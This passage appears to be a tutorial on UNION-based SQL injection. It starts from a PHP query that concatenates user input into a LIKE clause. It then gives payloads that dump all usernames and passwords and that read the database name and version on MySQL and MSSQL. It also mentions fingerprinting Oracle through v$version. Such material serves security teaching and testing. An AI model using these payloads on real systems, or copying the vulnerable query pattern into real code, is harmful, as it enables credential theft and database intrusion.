Let's say you've got a query like this:
$q="SELECT username, joindate FROM users WHERE username LIKE '%" . $search . "%' LIMIT 20";
Now imagine you control $search
via a parameter. We would usually make it return the user passwords in the joindate
field like this:
$search="' UNION SELECT username, password FROM users; -- -";
As such the query becomes:
SELECT username, joindate FROM users WHERE username LIKE '%' UNION SELECT username, password FROM users; -- - %' LIMIT 20
The part after the double-hyphen is a comment, so it's ignored, and we get all the username and password combinations appended as new records at the end of the dataset, after the legitimate records. Awesome!
But now we want to adapt this so we can find the database name, for further investigation of their database. On MySQL, we can use the DATABASE()
function:
$search="' UNION SELECT DATABASE(), 1; -- -";
The use of 1
here is to pad the joindate
field, which we aren't using.
On MSSQL we can do exactly the same, but with DB_NAME()
:
$search="' UNION SELECT DB_NAME(), 1; -- -";
Both of these tricks will append a single row to the end of the result set, containing the database name.
We can then expand this trick to use VERSION()
on MySQL or @@VERSION
on MSSQL, which returns the current database version. For Oracle and PL/SQL you can check for the existence of the v$version
table, simply by doing a query on it and checking for an error.